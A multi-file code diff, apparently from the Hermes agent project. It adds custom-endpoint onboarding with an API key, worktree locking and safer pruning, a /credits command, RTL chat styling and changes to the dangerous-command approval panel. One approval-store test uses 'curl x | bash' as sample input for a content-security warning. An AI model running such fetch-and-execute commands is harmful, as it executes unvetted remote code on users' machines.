* picker's "Add provider" button). Forces the overlay to show the picker
|
||||
* even when configured === true, and adds a close affordance. */
|
||||
manual: boolean
|
||||
/** True when the overlay was opened specifically to configure a local /
|
||||
* custom OpenAI-compatible endpoint (e.g. from Settings → Model's "Set up
|
||||
* custom endpoint"). Forces the API-key form with the local option
|
||||
* preselected instead of the OAuth picker. */
|
||||
localEndpoint: boolean
|
||||
}
|
||||
|
||||
export interface OnboardingContext {
|
||||
@@ -150,7 +155,8 @@ const INITIAL: DesktopOnboardingState = {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: readCachedSkipped(),
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
}
|
||||
|
||||
export const $desktopOnboarding = atom<DesktopOnboardingState>(INITIAL)
|
||||
@@ -392,6 +398,7 @@ export function startManualOnboarding(reason: null | string = DEFAULT_MANUAL_ONB
|
||||
patch({
|
||||
manual: true,
|
||||
requested: true,
|
||||
localEndpoint: false,
|
||||
// `null` opts out of the prompt banner entirely (e.g. when the user already
|
||||
// picked a specific provider and we auto-start its sign-in).
|
||||
reason: reason ? reason.trim() || DEFAULT_ONBOARDING_REASON : null,
|
||||
@@ -400,6 +407,24 @@ export function startManualOnboarding(reason: null | string = DEFAULT_MANUAL_ONB
|
||||
void refreshProviders()
|
||||
}
|
||||
|
||||
// Open the onboarding overlay directly on the local / custom endpoint form
|
||||
// (URL + optional API key), bypassing the OAuth picker. Used by Settings →
|
||||
// Model's "Set up custom endpoint" so it lands on a form that can actually
|
||||
// configure the endpoint instead of dead-ending on the OAuth provider list
|
||||
// (`custom` is not an OAuth provider, so the generic manual flow would just
|
||||
// re-show the picker — the original "booted back to the first screen" loop).
|
||||
export function startManualLocalEndpoint(reason: null | string = null) {
|
||||
pendingProviderOAuthId = null
|
||||
patch({
|
||||
manual: true,
|
||||
requested: true,
|
||||
localEndpoint: true,
|
||||
mode: 'apikey',
|
||||
reason: reason ? reason.trim() || DEFAULT_ONBOARDING_REASON : null,
|
||||
flow: { status: 'idle' }
|
||||
})
|
||||
}
|
||||
|
||||
// One-shot hand-off used when the dedicated Providers settings page launches a
|
||||
// specific provider's sign-in: we open the manual onboarding overlay AND
|
||||
// remember which provider to start, so the overlay drives that exact OAuth
|
||||
@@ -431,7 +456,7 @@ export function clearPendingProviderOAuth() {
|
||||
export function closeManualOnboarding() {
|
||||
pendingProviderOAuthId = null
|
||||
|
||||
patch({ manual: false, requested: false, flow: { status: 'idle' } })
|
||||
patch({ manual: false, requested: false, localEndpoint: false, flow: { status: 'idle' } })
|
||||
}
|
||||
|
||||
export function completeDesktopOnboarding() {
|
||||
@@ -448,7 +473,8 @@ export function completeDesktopOnboarding() {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
})
|
||||
}
|
||||
|
||||
@@ -461,7 +487,7 @@ export function completeDesktopOnboarding() {
|
||||
export function dismissFirstRunOnboarding() {
|
||||
clearPoll()
|
||||
writeCachedSkipped(true)
|
||||
patch({ firstRunSkipped: true, requested: false, manual: false, flow: { status: 'idle' } })
|
||||
patch({ firstRunSkipped: true, requested: false, manual: false, localEndpoint: false, flow: { status: 'idle' } })
|
||||
}
|
||||
|
||||
export function setOnboardingMode(mode: OnboardingMode) {
|
||||
@@ -701,18 +727,28 @@ export async function recheckExternalSignin(ctx: OnboardingContext) {
|
||||
)
|
||||
}
|
||||
|
||||
export async function saveOnboardingApiKey(envKey: string, value: string, label: string, ctx: OnboardingContext) {
|
||||
export async function saveOnboardingApiKey(
|
||||
envKey: string,
|
||||
value: string,
|
||||
label: string,
|
||||
ctx: OnboardingContext,
|
||||
// Optional endpoint key — only meaningful for the "Local / custom endpoint"
|
||||
// option, whose primary `value` is the base URL. Ignored for plain API-key
|
||||
// providers (their key IS `value`).
|
||||
endpointApiKey?: string
|
||||
) {
|
||||
const trimmed = value.trim()
|
||||
|
||||
if (!trimmed) {
|
||||
return { ok: false, message: 'Enter a value first.' }
|
||||
}
|
||||
|
||||
// The "Local / custom endpoint" option carries a base URL, not an API key.
|
||||
// It must be wired into config (provider=custom + base_url + model), not
|
||||
// dropped into .env — runtime resolution ignores OPENAI_BASE_URL.
|
||||
// The "Local / custom endpoint" option carries a base URL (in `value`) plus
|
||||
// an optional API key. It must be wired into config (provider=custom +
|
||||
// base_url + model + api_key), not dropped into .env — runtime resolution
|
||||
// ignores OPENAI_BASE_URL.
|
||||
if (envKey === 'OPENAI_BASE_URL') {
|
||||
return saveOnboardingLocalEndpoint(trimmed, ctx)
|
||||
return saveOnboardingLocalEndpoint(trimmed, endpointApiKey?.trim() ?? '', ctx)
|
||||
}
|
||||
|
||||
// No key validation here on purpose: we previously live-probed the key and
|
||||
@@ -748,14 +784,17 @@ export async function saveOnboardingApiKey(envKey: string, value: string, label:
|
||||
// env var that resolution never consults.
|
||||
//
|
||||
// The model is auto-discovered from the endpoint's /v1/models (surfaced by the
|
||||
// validate probe) so the user only has to paste a URL — no extra UI field.
|
||||
// validate probe). The optional API key is forwarded to the probe (so hosted
|
||||
// endpoints that gate /v1/models behind auth still enumerate models) and
|
||||
// persisted to model.api_key so the runtime can authenticate.
|
||||
//
|
||||
// We deliberately don't route through completeWithModelConfirm: that path
|
||||
// re-assigns the model from /api/model/options WITHOUT a base_url, which would
|
||||
// wipe the base_url we just wrote. We have a concrete model already, so we
|
||||
// verify the runtime directly and finish.
|
||||
export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: OnboardingContext) {
|
||||
export async function saveOnboardingLocalEndpoint(baseUrl: string, apiKey: string, ctx: OnboardingContext) {
|
||||
const url = baseUrl.trim()
|
||||
const key = apiKey.trim()
|
||||
|
||||
if (!url) {
|
||||
return { ok: false, message: 'Enter the endpoint URL first.' }
|
||||
@@ -767,7 +806,7 @@ export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: Onboardi
|
||||
let model = ''
|
||||
|
||||
try {
|
||||
const probe = await validateProviderCredential('OPENAI_BASE_URL', url)
|
||||
const probe = await validateProviderCredential('OPENAI_BASE_URL', url, key)
|
||||
|
||||
if (!probe.ok && probe.reachable) {
|
||||
return { ok: false, message: probe.message || 'Could not reach that endpoint.' }
|
||||
@@ -790,7 +829,7 @@ export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: Onboardi
|
||||
}
|
||||
|
||||
try {
|
||||
await setModelAssignment({ scope: 'main', provider: 'custom', model, base_url: url })
|
||||
await setModelAssignment({ scope: 'main', provider: 'custom', model, base_url: url, api_key: key })
|
||||
await ctx.requestGateway('reload.env').catch(() => undefined)
|
||||
|
||||
const runtime = await checkRuntime(ctx)
|
||||
|
||||
@@ -53,6 +53,12 @@ describe('approval prompt store', () => {
|
||||
|
||||
expect($approvalRequest.get()).toBeNull()
|
||||
})
|
||||
|
||||
it('carries allowPermanent so the bar can hide "Always allow"', () => {
|
||||
setApprovalRequest({ allowPermanent: false, command: 'curl x | bash', description: 'content-security', sessionId: 's1' })
|
||||
|
||||
expect($approvalRequest.get()?.allowPermanent).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('sudo prompt store', () => {
|
||||
|
||||
@@ -68,6 +68,8 @@ function keyedPromptStore<T extends KeyedPrompt>(): PromptStore<T> {
|
||||
// resolved via approval.respond {choice, session_id}). It carries no request_id,
|
||||
// unlike sudo/secret which are _block()-style request/response.
|
||||
export interface ApprovalRequest extends KeyedPrompt {
|
||||
// false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
|
||||
allowPermanent?: boolean
|
||||
command: string
|
||||
description: string
|
||||
}
|
||||
|
||||
@@ -17,6 +17,30 @@
|
||||
src: url('../../../node_modules/@nous-research/ui/dist/fonts/Collapse-Bold.woff2') format('woff2');
|
||||
}
|
||||
|
||||
/* JetBrains Mono — bundled terminal font (Apache-2.0) so bold/italic share the
|
||||
regular face's metrics instead of squeezing against a system fallback. */
|
||||
@font-face {
|
||||
font-family: 'JetBrains Mono';
|
||||
font-style: normal;
|
||||
font-weight: 400;
|
||||
font-display: swap;
|
||||
src: url('./fonts/JetBrainsMono-Regular.woff2') format('woff2');
|
||||
}
|
||||
@font-face {
|
||||
font-family: 'JetBrains Mono';
|
||||
font-style: normal;
|
||||
font-weight: 700;
|
||||
font-display: swap;
|
||||
src: url('./fonts/JetBrainsMono-Bold.woff2') format('woff2');
|
||||
}
|
||||
@font-face {
|
||||
font-family: 'JetBrains Mono';
|
||||
font-style: italic;
|
||||
font-weight: 400;
|
||||
font-display: swap;
|
||||
src: url('./fonts/JetBrainsMono-Italic.woff2') format('woff2');
|
||||
}
|
||||
|
||||
@theme inline {
|
||||
--color-background: var(--dt-background);
|
||||
--color-foreground: var(--dt-foreground);
|
||||
@@ -823,6 +847,37 @@ canvas {
|
||||
content's --message-text-indent). No extra prose indent — a single gutter
|
||||
reads cleaner than a ragged tool-vs-reply column. */
|
||||
|
||||
/* RTL/bidi chat text (#44150): each block resolves its own base direction from
|
||||
its first strong char (UAX#9 plaintext). text-align:start makes that resolved
|
||||
direction drive alignment too — load-bearing, since the user bubble pins
|
||||
text-left. direction is never set, so chrome/layout/list-indent stay LTR (the
|
||||
issue asks not to flip the whole UI). Covers assistant prose, user lines, and
|
||||
both composers (main + edit share composer-rich-input). */
|
||||
[data-slot='aui_assistant-message-content'] .aui-md :where(p, h1, h2, h3, h4, h5, h6, li, blockquote),
|
||||
[data-slot='aui_user-inline-text'],
|
||||
[data-slot='composer-rich-input'] {
|
||||
unicode-bidi: plaintext;
|
||||
text-align: start;
|
||||
}
|
||||
|
||||
/* Inline code/KaTeX don't vote on direction and keep their own order: isolate
|
||||
makes bidi treat each as one neutral, so a block that *starts* with `./run.sh`
|
||||
then Arabic still resolves RTL, and the command's neutrals (dots/slashes)
|
||||
aren't reordered by the surrounding RTL run. */
|
||||
[data-slot='aui_assistant-message-content'] .aui-md :where(:not(pre) > code),
|
||||
[data-slot='aui_user-inline-code'],
|
||||
[data-slot='aui_assistant-message-content'] .aui-md .katex {
|
||||
direction: ltr;
|
||||
unicode-bidi: isolate;
|
||||
}
|
||||
|
||||
/* Fenced code stays LTR even inside an RTL list item/blockquote — never mirrors. */
|
||||
[data-slot='aui_assistant-message-content'] .aui-md [data-slot='code-card'],
|
||||
[data-slot='aui_user-fence'] {
|
||||
direction: ltr;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
[data-slot='aui_user-message-root'] {
|
||||
top: var(--sticky-human-top);
|
||||
}
|
||||
|
||||
@@ -638,6 +638,10 @@ export interface AuxiliaryModelsResponse {
|
||||
}
|
||||
|
||||
export interface ModelAssignmentRequest {
|
||||
/** Optional API key for a custom/local endpoint. Persisted to model.api_key
|
||||
* (where the runtime reads it) for self-hosted endpoints that require auth.
|
||||
* Only honored for custom/local providers on the main slot. */
|
||||
api_key?: string
|
||||
/** OpenAI-compatible endpoint URL. Only honored for custom/local providers
|
||||
* on the main slot — wires a self-hosted endpoint into runtime resolution. */
|
||||
base_url?: string
|
||||
|
||||
@@ -456,6 +456,9 @@ def load_cli_config() -> Dict[str, Any]:
|
||||
"busy_input_mode": "interrupt",
|
||||
"persistent_output": True,
|
||||
"persistent_output_max_lines": 200,
|
||||
# Print a one-line summary of resolved modal prompts (approval /
|
||||
# clarify) into scrollback so the decision survives the repaint.
|
||||
"persist_prompts": True,
|
||||
|
||||
"skin": "default",
|
||||
},
|
||||
@@ -1264,6 +1267,11 @@ def _setup_worktree(repo_root: str = None) -> Optional[Dict[str, str]]:
|
||||
print(f"\033[31m✗ Failed to create worktree: {e}\033[0m")
|
||||
return None
|
||||
|
||||
# Lock the worktree so concurrent/later hermes processes' pruning
|
||||
# leaves this session's work alone (locks survive crashes too).
|
||||
# Lock failure is non-fatal — _lock_worktree logs at debug level.
|
||||
_lock_worktree(repo_root, str(wt_path))
|
||||
|
||||
# Copy files listed in .worktreeinclude (gitignored files the agent needs)
|
||||
include_file = Path(repo_root) / ".worktreeinclude"
|
||||
if include_file.exists():
|
||||
@@ -1374,13 +1382,109 @@ def _worktree_has_unpushed_commits(worktree_path: str, timeout: int = 10) -> boo
|
||||
return True
|
||||
|
||||
|
||||
def _cleanup_worktree(info: Dict[str, str] = None) -> None:
|
||||
"""Remove a worktree and its branch on exit.
|
||||
def _lock_worktree(repo_root: str, wt_path: str, timeout: int = 10) -> bool:
|
||||
"""Lock a worktree using git's native lock mechanism.
|
||||
|
||||
Preserves the worktree only if it has unpushed commits (real work
|
||||
that hasn't been pushed to any remote). Uncommitted changes alone
|
||||
(untracked files, test artifacts) are not enough to keep it — agent
|
||||
work lives in commits/PRs, not the working tree.
|
||||
The lock marks the worktree as in-use by a live (or crashed) hermes
|
||||
session so that other hermes processes' pruning leaves it alone.
|
||||
Never raises; returns whether the lock was taken.
|
||||
"""
|
||||
import subprocess
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["git", "worktree", "lock",
|
||||
"--reason", f"hermes session pid={os.getpid()}", str(wt_path)],
|
||||
capture_output=True, text=True, timeout=timeout, cwd=repo_root,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
logger.debug(
|
||||
"Failed to lock worktree %s: %s", wt_path, result.stderr.strip()
|
||||
)
|
||||
return False
|
||||
return True
|
||||
except Exception as e:
|
||||
logger.debug("Failed to lock worktree %s: %s", wt_path, e)
|
||||
return False
|
||||
|
||||
|
||||
def _unlock_worktree(repo_root: str, wt_path: str, timeout: int = 10) -> bool:
|
||||
"""Release a git worktree lock. Never raises."""
|
||||
import subprocess
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["git", "worktree", "unlock", str(wt_path)],
|
||||
capture_output=True, text=True, timeout=timeout, cwd=repo_root,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
logger.debug(
|
||||
"Failed to unlock worktree %s: %s", wt_path, result.stderr.strip()
|
||||
)
|
||||
return False
|
||||
return True
|
||||
except Exception as e:
|
||||
logger.debug("Failed to unlock worktree %s: %s", wt_path, e)
|
||||
return False
|
||||
|
||||
|
||||
def _worktree_is_locked(repo_root: str, wt_path: str, timeout: int = 10) -> bool:
|
||||
"""Return whether a worktree is locked (per ``git worktree list --porcelain``).
|
||||
|
||||
Fails SAFE: on any error (bad repo_root, git failure, timeout) returns
|
||||
True so callers treat the worktree as in-use and do not delete it.
|
||||
"""
|
||||
import subprocess
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["git", "worktree", "list", "--porcelain"],
|
||||
capture_output=True, text=True, timeout=timeout, cwd=repo_root,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return True
|
||||
target = Path(wt_path).resolve()
|
||||
current_path: Optional[Path] = None
|
||||
for line in result.stdout.splitlines():
|
||||
if line.startswith("worktree "):
|
||||
current_path = Path(line[len("worktree "):].strip()).resolve()
|
||||
elif line == "locked" or line.startswith("locked "):
|
||||
if current_path == target:
|
||||
return True
|
||||
return False
|
||||
except Exception:
|
||||
return True
|
||||
|
||||
|
||||
def _worktree_is_dirty(wt_path: str, timeout: int = 10) -> bool:
|
||||
"""Return whether a worktree has uncommitted changes (staged, unstaged,
|
||||
or untracked).
|
||||
|
||||
Fails SAFE: on any error returns True so callers do not delete a
|
||||
worktree whose state they cannot determine.
|
||||
"""
|
||||
import subprocess
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["git", "status", "--porcelain"],
|
||||
capture_output=True, text=True, timeout=timeout, cwd=wt_path,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return True
|
||||
return bool(result.stdout.strip())
|
||||
except Exception:
|
||||
return True
|
||||
|
||||
|
||||
def _cleanup_worktree(info: Dict[str, str] = None) -> None:
|
||||
"""Remove a worktree and its branch on graceful exit.
|
||||
|
||||
Preserves the worktree (along with its branch and lock) if it has
|
||||
unpushed commits OR uncommitted changes — either may be work the user
|
||||
has not retrieved yet. Only clean, fully-pushed worktrees are
|
||||
removed, and the branch is only deleted after ``git worktree remove``
|
||||
actually succeeded.
|
||||
"""
|
||||
global _active_worktree
|
||||
info = info or _active_worktree
|
||||
@@ -1397,24 +1501,41 @@ def _cleanup_worktree(info: Dict[str, str] = None) -> None:
|
||||
return
|
||||
|
||||
has_unpushed = _worktree_has_unpushed_commits(wt_path, timeout=10)
|
||||
is_dirty = _worktree_is_dirty(wt_path)
|
||||
|
||||
if has_unpushed:
|
||||
print(f"\n\033[33m⚠ Worktree has unpushed commits, keeping: {wt_path}\033[0m")
|
||||
print(f" To clean up manually: git worktree remove --force {wt_path}")
|
||||
if has_unpushed or is_dirty:
|
||||
reason = "unpushed commits" if has_unpushed else "uncommitted changes"
|
||||
print(f"\n\033[33m⚠ Worktree has {reason}, keeping: {wt_path}\033[0m")
|
||||
print(f" To clean up manually: git worktree unlock {wt_path}")
|
||||
print(f" then: git worktree remove --force {wt_path}")
|
||||
_active_worktree = None
|
||||
return
|
||||
|
||||
# Remove worktree (even if working tree is dirty — uncommitted
|
||||
# changes without unpushed commits are just artifacts)
|
||||
# Clean and fully pushed — release our lock, then remove.
|
||||
_unlock_worktree(repo_root, wt_path)
|
||||
|
||||
removed = False
|
||||
try:
|
||||
subprocess.run(
|
||||
result = subprocess.run(
|
||||
["git", "worktree", "remove", wt_path, "--force"],
|
||||
capture_output=True, text=True, timeout=15, cwd=repo_root,
|
||||
)
|
||||
removed = result.returncode == 0
|
||||
if not removed:
|
||||
logger.debug(
|
||||
"Failed to remove worktree %s: %s", wt_path, result.stderr.strip()
|
||||
)
|
||||
except Exception as e:
|
||||
logger.debug("Failed to remove worktree: %s", e)
|
||||
|
||||
# Delete the branch
|
||||
if not removed:
|
||||
# Removal failed — keep the branch so the commits stay reachable.
|
||||
print(f"\033[33m⚠ Could not remove worktree, keeping it (and branch "
|
||||
f"{branch}): {wt_path}\033[0m")
|
||||
_active_worktree = None
|
||||
return
|
||||
|
||||
# Delete the branch only now that the worktree is actually gone.
|
||||
try:
|
||||
subprocess.run(
|
||||
["git", "branch", "-D", branch],
|
||||
@@ -1508,10 +1629,14 @@ def _run_checkpoint_auto_maintenance() -> None:
|
||||
def _prune_stale_worktrees(repo_root: str, max_age_hours: int = 24) -> None:
|
||||
"""Remove stale worktrees and orphaned branches on startup.
|
||||
|
||||
Age-based tiers:
|
||||
Pruning may only ever delete clean, unlocked, fully-pushed worktrees:
|
||||
- Under max_age_hours (24h): skip — session may still be active.
|
||||
- 24h–72h: remove if no unpushed commits.
|
||||
- Over 72h: force remove regardless (nothing should sit this long).
|
||||
- Locked (a live or crashed hermes session): skip at ANY age.
|
||||
- Dirty working tree (uncommitted changes): skip at ANY age.
|
||||
- Unpushed commits: skip at ANY age.
|
||||
|
||||
The branch is only deleted after ``git worktree remove`` actually
|
||||
succeeded, so commits never lose their easy reachability.
|
||||
|
||||
Also prunes orphaned ``hermes/*`` and ``pr-*`` local branches that
|
||||
have no corresponding worktree.
|
||||
@@ -1526,7 +1651,6 @@ def _prune_stale_worktrees(repo_root: str, max_age_hours: int = 24) -> None:
|
||||
|
||||
now = time.time()
|
||||
soft_cutoff = now - (max_age_hours * 3600) # 24h default
|
||||
hard_cutoff = now - (max_age_hours * 3 * 3600) # 72h default
|
||||
|
||||
for entry in worktrees_dir.iterdir():
|
||||
if not entry.is_dir() or not entry.name.startswith("hermes-"):
|
||||
@@ -1540,14 +1664,22 @@ def _prune_stale_worktrees(repo_root: str, max_age_hours: int = 24) -> None:
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
force = mtime <= hard_cutoff # Over 72h — force remove
|
||||
# A lock means a session (live, or crashed mid-work) owns this
|
||||
# worktree — never touch it, regardless of age.
|
||||
if _worktree_is_locked(repo_root, str(entry)):
|
||||
logger.debug("Skipping locked worktree: %s", entry.name)
|
||||
continue
|
||||
|
||||
if not force:
|
||||
# 24h–72h tier: only remove if no unpushed commits
|
||||
if _worktree_has_unpushed_commits(str(entry), timeout=5):
|
||||
continue # Has unpushed commits or can't check — skip
|
||||
# Uncommitted changes may be work the user hasn't retrieved.
|
||||
if _worktree_is_dirty(str(entry)):
|
||||
logger.debug("Skipping dirty worktree: %s", entry.name)
|
||||
continue
|
||||
|
||||
# Safe to remove
|
||||
# Unpushed commits are definitely work — keep at any age.
|
||||
if _worktree_has_unpushed_commits(str(entry), timeout=5):
|
||||
continue
|
||||
|
||||
# Safe to remove: clean, unlocked, fully pushed.
|
||||
try:
|
||||
branch_result = subprocess.run(
|
||||
["git", "branch", "--show-current"],
|
||||
@@ -1555,16 +1687,24 @@ def _prune_stale_worktrees(repo_root: str, max_age_hours: int = 24) -> None:
|
||||
)
|
||||
branch = branch_result.stdout.strip()
|
||||
|
||||
subprocess.run(
|
||||
remove_result = subprocess.run(
|
||||
["git", "worktree", "remove", str(entry), "--force"],
|
||||
capture_output=True, text=True, timeout=15, cwd=repo_root,
|
||||
)
|
||||
if remove_result.returncode != 0:
|
||||
# Removal failed — keep the branch so the commits stay
|
||||
# reachable.
|
||||
logger.debug(
|
||||
"Failed to remove worktree %s: %s",
|
||||
entry.name, remove_result.stderr.strip(),
|
||||
)
|
||||
continue
|
||||
if branch:
|
||||
subprocess.run(
|
||||
["git", "branch", "-D", branch],
|
||||
capture_output=True, text=True, timeout=10, cwd=repo_root,
|
||||
)
|
||||
logger.debug("Pruned stale worktree: %s (force=%s)", entry.name, force)
|
||||
logger.debug("Pruned stale worktree: %s", entry.name)
|
||||
except Exception as e:
|
||||
logger.debug("Failed to prune worktree %s: %s", entry.name, e)
|
||||
|
||||
@@ -7448,6 +7588,8 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
self._manual_compress(cmd_original)
|
||||
elif canonical == "usage":
|
||||
self._show_usage()
|
||||
elif canonical == "credits":
|
||||
self._show_credits()
|
||||
elif canonical == "insights":
|
||||
self._show_insights(cmd_original)
|
||||
elif canonical == "copy":
|
||||
@@ -8349,6 +8491,86 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
print(f" {line}")
|
||||
return True
|
||||
|
||||
def _show_credits(self):
|
||||
"""`/credits` — focused Nous credit balance + top-up handoff.
|
||||
|
||||
Interactive CLI: balance block + identity line + a 3-button panel
|
||||
(Open top-up / Copy link / Cancel). Non-interactive contexts — the TUI
|
||||
slash-worker subprocess and any place without a live prompt_toolkit app
|
||||
(``self._app is None``) — render a text variant (balance + tappable
|
||||
top-up URL), because the modal would try to read the RPC stdin and crash
|
||||
the worker. The terminal never confirms or polls payment (billing phase
|
||||
2a). Fail-open: a portal hiccup or logged-out account degrades to a clear
|
||||
message, never a crash.
|
||||
"""
|
||||
from agent.account_usage import build_credits_view
|
||||
|
||||
view = build_credits_view()
|
||||
|
||||
if not view.logged_in:
|
||||
print()
|
||||
print(f" 💳 {_DIM}Not logged into Nous Portal.{_RST}")
|
||||
print(" Run `hermes portal` to log in, then /credits.")
|
||||
return
|
||||
|
||||
print()
|
||||
print(" 💳 Nous credits")
|
||||
print(f" {'─' * 41}")
|
||||
for line in view.balance_lines:
|
||||
# Drop the helper's own "📈 Nous credits" header — we print our own.
|
||||
if line.lstrip().startswith("📈"):
|
||||
continue
|
||||
print(f" {line}")
|
||||
print(f" {'─' * 41}")
|
||||
if view.identity_line:
|
||||
print(f" {view.identity_line}")
|
||||
|
||||
if not view.topup_url:
|
||||
return
|
||||
|
||||
# Non-interactive (TUI slash-worker, piped, no live app): the
|
||||
# prompt_toolkit modal can't run here — it would read the worker's
|
||||
# JSON-RPC stdin and crash the command. Render the text variant: the
|
||||
# tappable URL IS the affordance, same as the messaging surfaces.
|
||||
if not getattr(self, "_app", None):
|
||||
print()
|
||||
print(f" Top up: {view.topup_url}")
|
||||
print(" Complete your top-up in the browser — credits will appear in /credits shortly.")
|
||||
return
|
||||
|
||||
choices = [
|
||||
("open", "Open top-up in browser", "launch the portal billing page"),
|
||||
("copy", "Copy link", "copy the top-up URL to your clipboard"),
|
||||
("cancel", "Cancel", "do nothing"),
|
||||
]
|
||||
raw = self._prompt_text_input_modal(
|
||||
title="💳 Add credits?",
|
||||
detail=f"Top-up page:\n{view.topup_url}",
|
||||
choices=choices,
|
||||
)
|
||||
choice = self._normalize_slash_confirm_choice(raw, choices)
|
||||
|
||||
if choice == "open":
|
||||
opened = False
|
||||
try:
|
||||
import webbrowser
|
||||
|
||||
opened = webbrowser.open(view.topup_url)
|
||||
except Exception:
|
||||
opened = False
|
||||
if not opened:
|
||||
print(f" Open this URL to top up: {view.topup_url}")
|
||||
print()
|
||||
print(" Complete your top-up in the browser — credits will appear in /credits shortly.")
|
||||
elif choice == "copy":
|
||||
try:
|
||||
self._write_osc52_clipboard(view.topup_url)
|
||||
print(f" 📋 Copied: {view.topup_url}")
|
||||
except Exception:
|
||||
print(f" Top-up URL: {view.topup_url}")
|
||||
else:
|
||||
print(" 🟡 Cancelled. No credits added.")
|
||||
|
||||
def _show_insights(self, command: str = "/insights"):
|
||||
"""Show usage insights and analytics from session history."""
|
||||
# Parse optional --days flag
|
||||
@@ -9361,6 +9583,25 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
for line in reqs["details"].split("\n"):
|
||||
_cprint(f" {line}")
|
||||
|
||||
def _persist_prompt_summary(self, icon: str, label: str, detail: str, outcome: str) -> None:
|
||||
"""Print a one-line scrollback summary of a resolved modal prompt.
|
||||
|
||||
Modal panels (approval / clarify) live in the prompt_toolkit layout and
|
||||
vanish on the next repaint, so the question and the decision leave no
|
||||
trace in the terminal scrollback. When display.persist_prompts is on
|
||||
(default), emit a dim single line after the prompt resolves so the
|
||||
decision survives in chat history.
|
||||
"""
|
||||
if not CLI_CONFIG.get("display", {}).get("persist_prompts", True):
|
||||
return
|
||||
detail = " ".join(detail.split())
|
||||
if len(detail) > 120:
|
||||
detail = detail[:119] + "…"
|
||||
outcome = " ".join(outcome.split())
|
||||
if len(outcome) > 120:
|
||||
outcome = outcome[:119] + "…"
|
||||
_cprint(f"\n{_DIM}{icon} {label}: {detail} → {outcome}{_RST}")
|
||||
|
||||
def _clarify_callback(self, question, choices):
|
||||
"""
|
||||
Platform callback for the clarify tool. Called from the agent thread.
|
||||
@@ -9400,6 +9641,7 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
try:
|
||||
result = response_queue.get(timeout=1)
|
||||
self._clarify_deadline = 0
|
||||
self._persist_prompt_summary("?", "Clarify", question, str(result))
|
||||
return result
|
||||
except queue.Empty:
|
||||
remaining = self._clarify_deadline - _time.monotonic()
|
||||
@@ -9513,6 +9755,16 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
self._approval_state = None
|
||||
self._approval_deadline = 0
|
||||
self._paint_now()
|
||||
_outcome_labels = {
|
||||
"once": "allowed once",
|
||||
"session": "allowed for session",
|
||||
"always": "added to allowlist",
|
||||
"deny": "denied",
|
||||
}
|
||||
self._persist_prompt_summary(
|
||||
"⚠", "Approval", command,
|
||||
_outcome_labels.get(result, str(result)),
|
||||
)
|
||||
return result
|
||||
except queue.Empty:
|
||||
remaining = self._approval_deadline - _time.monotonic()
|
||||
@@ -9629,7 +9881,7 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
show_full = state.get("show_full", False)
|
||||
|
||||
title = "⚠️ Dangerous Command"
|
||||
cmd_display = command if show_full or len(command) <= 70 else command[:70] + '...'
|
||||
cmd_display = command
|
||||
choice_labels = {
|
||||
"once": "Allow once",
|
||||
"session": "Allow for this session",
|
||||
@@ -9653,6 +9905,11 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
|
||||
# Pre-wrap the mandatory content — command + choices must always render.
|
||||
cmd_wrapped = _wrap_panel_text(cmd_display, inner_text_width)
|
||||
if not show_full and "view" in choices and len(cmd_wrapped) > 4:
|
||||
cmd_wrapped = cmd_wrapped[:3] + _wrap_panel_text(
|
||||
"… (choose Show full command)",
|
||||
inner_text_width,
|
||||
)
|
||||
|
||||
# (choice_index, wrapped_line) so we can re-apply selected styling below
|
||||
choice_wrapped: list[tuple[int, str]] = []
|
||||
@@ -9702,7 +9959,10 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin):
|
||||
max_cmd_rows = max(1, available - chrome_rows - len(choice_wrapped))
|
||||
if len(cmd_wrapped) > max_cmd_rows:
|
||||
keep = max(1, max_cmd_rows - 1) if max_cmd_rows > 1 else 1
|
||||
cmd_wrapped = cmd_wrapped[:keep] + ["… (command truncated — use /logs or /debug for full text)"]
|
||||
cmd_wrapped = cmd_wrapped[:keep] + _wrap_panel_text(
|
||||
"… (command truncated — use /logs or /debug for full text)",
|
||||
inner_text_width,
|
||||
)
|
||||
|
||||
# Allocate any remaining rows to description. The extra -1 in full mode
|
||||
# accounts for the blank separator between choices and description.
|
||||
|
||||
@@ -138,6 +138,7 @@ _HOME_TARGET_ENV_VARS = {
|
||||
"bluebubbles": "BLUEBUBBLES_HOME_CHANNEL",
|
||||
"qqbot": "QQBOT_HOME_CHANNEL",
|
||||
"whatsapp": "WHATSAPP_HOME_CHANNEL",
|
||||
"whatsapp_cloud": "WHATSAPP_CLOUD_HOME_CHANNEL",
|
||||
}
|
||||
|
||||
# Legacy env var names kept for back-compat. Each entry is the current
|
||||
|
||||
@@ -1,14 +0,0 @@
|
||||
{
|
||||
"name": "hermes-agent-e2e",
|
||||
"version": "1.0.0",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"test": "npm exec @microsoft/tui-test -t",
|
||||
"replay": "npm exec @microsoft/tui-test show-trace"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@microsoft/tui-test": "^0.0.4",
|
||||
"tui-replay": "^0.4.3"
|
||||
}
